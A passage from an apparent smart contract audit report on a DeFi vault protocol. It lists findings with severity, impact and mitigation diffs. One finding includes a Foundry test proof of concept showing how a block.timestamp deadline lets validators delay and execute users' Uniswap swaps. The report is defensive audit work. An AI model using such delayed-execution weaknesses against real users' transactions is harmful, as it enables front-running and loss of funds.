Description: All Uniswap operations use `deadline: block.timestamp`, which provides no protection against block proposers holding transactions.

Impact: Validators can hold transactions and execute them at more favorable block numbers.

Proof of Concept:

PoC

```
1 /**
2  * @notice PoC: General Front-Running/Deadline vulnerability
3  *   demonstration.
4  * Shows how `block.timestamp` as a deadline fails to protect against
5  *   delayed execution,
6  * while a fixed deadline successfully ensures transaction expiry.
7  */
8 function testFrontRunningWithExactDeadLine() public {
9     address[] memory path1 = new address[](2);
10    path1[0] = address(weth);
11    path1[1] = address(usdc);
12
13    deal(address(weth), user, 500e18);
14    deal(address(weth), atacker, 2000e18);
15    vm.startPrank(user);
16    weth.approve(address(uniswapR), type(uint256).max);
```

```
15
16     // Using block.timestamp
17     // User signs and sends transaction now
18     uint256 timeOfIntent = block.timestamp;
19     console2.log("Transaction sent at timestamp: ", timeOfIntent);
20
21     // Simulate network congestion or malicious validator waiting 1 day
22     vm.warp(block.timestamp + 1 days);
23     vm.roll(block.number + 7200);
24
25     // Transaction is finally executed here
26     console2.log("Transaction finally mined at: ", block.
27         timestamp);
28
29     // Using block.timestamp means the transaction never expires
30     // because "now" is always valid.
31     uniswapR.swapExactTokensForTokens(
32         weth.balanceOf(user),
33         0,
34         path1,
35         user,
36         block.timestamp);
37
38     console2.log("Conclusion: Deadline did not protect the user.");
39
40     // Using a fixed deadline
41     uint256 newTimeOfIntent = block.timestamp;
42
43     // Again, simulate 1 day delay
44     vm.warp(block.timestamp + 1 days);
45     vm.roll(block.number + 7200);
46
47     // Here transaction fails because more than 1 hour passed.
48     vm.expectRevert("UniswapV2Router: EXPIRED");
49
50     uniswapR.swapExactTokensForTokens(
51         weth.balanceOf(user),
52         0,
53         path1,
54         user,
55         newTimeOfIntent + 1 hours); // Fixed deadline: 1 hour from
56         sending
57
58     vm.stopPrank();
59 }
```

Recommended Mitigation: Allow caller to specify deadline:

- 1 - deadline: block.timestamp
- 2 + deadline: userProvidedDeadline

[M-3] Weird ERC20 Tokens May Cause approve() to Fail**IMPACT:** MEDIUM**LIKELIHOOD:** LOW

Description: Multiple locations use `token.approve()` which may fail for non-standard ERC20 tokens that don't return a boolean or require approval to be 0 first.

Found in: - `AaveAdapter.sol` L32 - `UniswapAdapter.sol` L74, L98, L102

Recommended Mitigation: Use `forceApprove` from `SafeERC20`:

```
1 - bool succ = asset.approve(address(i_aavePool), amount);
2 - if (!succ) revert AaveAdapter__TransferFailed();
3 + asset.forceApprove(address(i_aavePool), amount);
```

[M-4] Missing Validation for newCut Can Cause DoS**IMPACT:** HIGH**LIKELIHOOD:** LOW

Description: In `updateGuardianAndDaoCut()`, if `newCut` is set to 0, `VaultShares.deposit()` will revert due to division by zero (`shares / cut`).

Impact: All new vault deposits are blocked (DoS).

Recommended Mitigation:

```
1 function updateGuardianAndDaoCut(uint256 newCut) external onlyOwner {
2 +   require(newCut >= MIN_CUT, "Cut too small or zero");
3   s_guardianAndDaoCut = newCut;
4   // ...
5 }
```

[M-5] Updating Allocation Without Rebalancing Creates Discrepancy**IMPACT:** LOW/MEDIUM**LIKELIHOOD:** HIGH

Description: When guardian calls `updateHoldingAllocation()`, the allocation data is updated but funds are not rebalanced.

Impact: Actual fund distribution differs from the intended strategy until next user interaction.

Recommended Mitigation:

```
1 function updateHoldingAllocation(AllocationData memory
2   tokenAllocationData) public onlyVaultGuardians isActive {
3   // ...
4   s_allocationData = tokenAllocationData;
5   emit UpdatedAllocation(tokenAllocationData);
6   +   rebalanceFunds();
7 }
```

Low

[L-1] Incorrect Vault Name and Symbol for `i_tokenTwo` (LINK)

Description: In `becomeTokenGuardian()`, when creating a LINK vault, the code uses `TOKEN_ONE_VAULT_NAME` and `TOKEN_ONE_VAULT_SYMBOL` instead of `TOKEN_TWO_*`.

Recommended Mitigation:

```
1 } else if (address(token) == address(i_tokenTwo)) {
2   tokenVault = new VaultShares(IVaultShares.ConstructorData({
3     asset: token,
4     - vaultName: TOKEN_ONE_VAULT_NAME,
5     - vaultSymbol: TOKEN_ONE_VAULT_SYMBOL,
6     + vaultName: TOKEN_TWO_VAULT_NAME,
7     + vaultSymbol: TOKEN_TWO_VAULT_SYMBOL,
8     // ...
9   }));
10 }
```

[L-2] Missing Return Value Assignment in `_aaveDivest()` Returns 0

Description: The function `_aaveDivest` declares a return value `amountOfAssetReturned` but ignores the output from `i_aavePool.withdraw()`. As a result, the function always returns 0.

```
1 function _aaveDivest(IERC20 token, uint256 amount) internal returns (
    uint256 amountOfAssetReturned) {
2     i_aavePool.withdraw({ ... });
3     // amountOfAssetReturned stays 0
4 }
```

Impact: Caller functions relying on this return value for accounting or event emission will receive incorrect data (0 instead of actual withdrawn amount), potentially breaking internal logic or off-chain tracking.

Recommended Mitigation:

```
1 function _aaveDivest(IERC20 token, uint256 amount) internal returns (
    uint256 amountOfAssetReturned) {
2 -     i_aavePool.withdraw({
3 +     amountOfAssetReturned = i_aavePool.withdraw({
4         asset: address(token),
5         amount: amount,
6         to: address(this)
7     });
8 }
```

[L-3] Wrong Error Name in quitGuardian()

Description: When guardian has non-WETH vaults, the error `VaultGuardiansBase__CantQuitWethWithThis` () is used, which is misleading.

Recommended Mitigation: Rename to `VaultGuardiansBase__CantQuitGuardianWithNonWethVaults` ().

[L-4] nonReentrant Modifier Should Be First

Description: In `deposit()`, `withdraw()`, `redeem()`, and `rebalanceFunds()`, `nonReentrant` is not the first modifier.

Recommended Mitigation: Place `nonReentrant` before other modifiers for best practice.

[L-5] Events Emitted After State Changes

Description: The following functions emit events after state changes, which technically follows Checks-Effects but could be improved for consistency or gas optimization in some patterns: - `VaultShares.sol: updateHoldingAllocation()` - `VaultGuardians.sol: updateGuardianStakePrice()` - `VaultGuardians.sol: updateGuardianAndDaoCut()`

Recommended Mitigation: Consider standardizing event emission placement.

[L-6] Missing Events in Critical Functions

Description: Several important operations lack event emissions: - `_aaveInvest()` / `_aaveDivest()` - `becomeGuardian()` - `deposit()`

Recommended Mitigation: Add appropriate events for off-chain tracking.

[L-7] Event Emits Updated Value Instead of Old Value

Description: In `updateGuardianStakePrice()` and `updateGuardianAndDaoCut()`, the event emits the new value for both parameters instead of old and new.

Recommended Mitigation: Cache old value before update and emit both.

Informational

[I-1] Unused Interfaces and Custom Errors Should Be Removed

Description: The following files and declarations are unused:

Unused files: - `src/interfaces/IVaultGuardians.sol` - `src/interfaces/InvestableUniverseAd`
`.sol`

Unused custom errors in VaultGuardiansBase.sol: - VaultGuardiansBase__NotEnoughWeth()
- VaultGuardiansBase__NotAGuardian()
- VaultGuardiansBase__StillHasVaults()
()

Unused custom error in VaultGuardians.sol: - VaultGuardians__NotEnoughWeth()

[I-2] Centralization Risks

Description: Several functions can only be called by owner, creating centralization risks:

- `VaultGuardians::updateGuardianStakePrice()` - Owner can set stake price to 0
- `VaultGuardians::updateGuardianAndDaoCut()` - Owner can set cut to 0 (causing DoS)
- `VaultGuardians::sweepErc20s()` - Owner can sweep all ERC20 fees
- `VaultGuardianToken::mint()` - Owner can mint unlimited governance tokens

A compromised owner could exploit these to disrupt the protocol or steal funds.

[I-3] Multiple Typos in Function Names and Event Names

Description: Several typos were found in the codebase:

Location	Typo	Correction
<code>VaultShares.sol</code> L378	<code>getUniswapLiquidityToken()</code> <code>()</code>	<code>getUniswapLiquidityToken()</code> <code>()</code>
<code>VaultGuardiansBase.sol</code> L102	Event <code>GaurdianRemoved</code>	<code>GuardianRemoved</code>
<code>VaultGuardiansBase.sol</code> L107	Event <code>DinvestedFromGuardian</code>	<code>DivestedFromGuardian</code>

Recommended Mitigation: Rename the functions and events to use correct spelling.

[I-4] Missing NatSpec Documentation

Description: Constructor and several functions lack proper documentation:

- `VaultShares` constructor has no NatSpec
 - Multiple internal functions lack parameter documentation
 - Return values are not documented in many functions
-

[I-5] Test Coverage Should Be Improved

Description: The test suite lacks comprehensive fuzz testing and edge case coverage. Consider adding:

- Fuzz tests for allocation boundaries (0%, 100%, edge cases)
- Fork tests for real protocol integration (Aave V3, Uniswap V2)
- Invariant tests for share/asset accounting
- Edge case tests for zero amounts and boundary conditions

[I-6] Incompatibility with Fee-on-Transfer Tokens

Description: The protocol does not handle fee-on-transfer tokens, which would break accounting in:

- `VaultGuardiansBase::_becomeTokenGuardian()` - L358
- `VaultGuardiansBase::_quitGuardian()` - If fee-on-transfer tokens are ever added

The protocol currently only uses WETH, USDC, and LINK (all standard ERC20), but this should be documented as a constraint.

[I-7] Missing indexed Parameters in Events

Description: Several events lack `indexed` parameters, making off-chain filtering difficult:

- `VaultGuardiansBase.sol` L99: `GuardianAdded`
- `VaultGuardiansBase.sol` L101: `GuardianRemoved` (also has typo)
- `VaultGuardiansBase.sol` L104: `InvestedInGuardian`

- `VaultGuardiansBase.sol` L106: `DivestedFromGuardian` (also has typo)
- `VaultGuardiansBase.sol` L109: `GuardianUpdatedHoldingAllocation`
- `VaultGuardians.sol` L53: `VaultGuardianTokenMinted`

Recommended Mitigation: Add `indexed` keyword to important event parameters (e.g., guardian address, token address).

[I-8] Solidity 0.8.20 May Not Be Compatible With All L2 Networks

Description: The pragma `solidity 0.8.20` uses the `PUSH0` opcode which is not supported on all L2 networks (e.g., Arbitrum, some zkEVM chains).

Found in: All contracts in the codebase.

Recommended Mitigation: Consider using `0.8.19` for maximum compatibility or document target chain requirements.

[I-9] Missing Zero Amount Checks

Description: Several functions don't validate that amounts are non-zero before proceeding, creating potential for spam, gas waste, or unintended logic:

- `UniswapAdapter::_uniswapInvest()`
- `UniswapAdapter::_uniswapDivest()`
- `VaultGuardians::updateGuardianStakePrice()`: Setting stake price to 0 allows free guardian creation.
- `VaultGuardians::sweepErc20s()`: Can trigger token transfer of 0.

Recommended Mitigation: Add `require(amount > 0)` checks.

Gas

[G-1] Functions Could Be Marked `external`

Description: Several `public` functions are never called internally and could be `external` to save gas:

- `VaultShares::deposit()`
 - `VaultShares::withdraw()`
 - `VaultShares::redeem()`
 - `VaultShares::rebalanceFunds()`
 - `VaultShares::updateHoldingAllocation()`
 - `VaultGuardianGovernor::votingDelay()`
 - `VaultGuardianGovernor::votingPeriod()`
 - `VaultGuardianGovernor::quorum()`
 - `VaultGuardianToken::nonces()`
-

[G-2] Modifiers Can Be Wrapped in Internal Functions

Description: Complex modifiers like `divestThenInvest`, `onlyGuardian`, `onlyVaultGuardians`, and `isActive` could be split into internal functions to reduce code size and deployment costs.

Found in: `VaultShares.sol` L49-111

[G-3] Cache State Variables in Loops

Description: Reading storage variables multiple times in loops increases gas costs. Consider caching in memory variables.
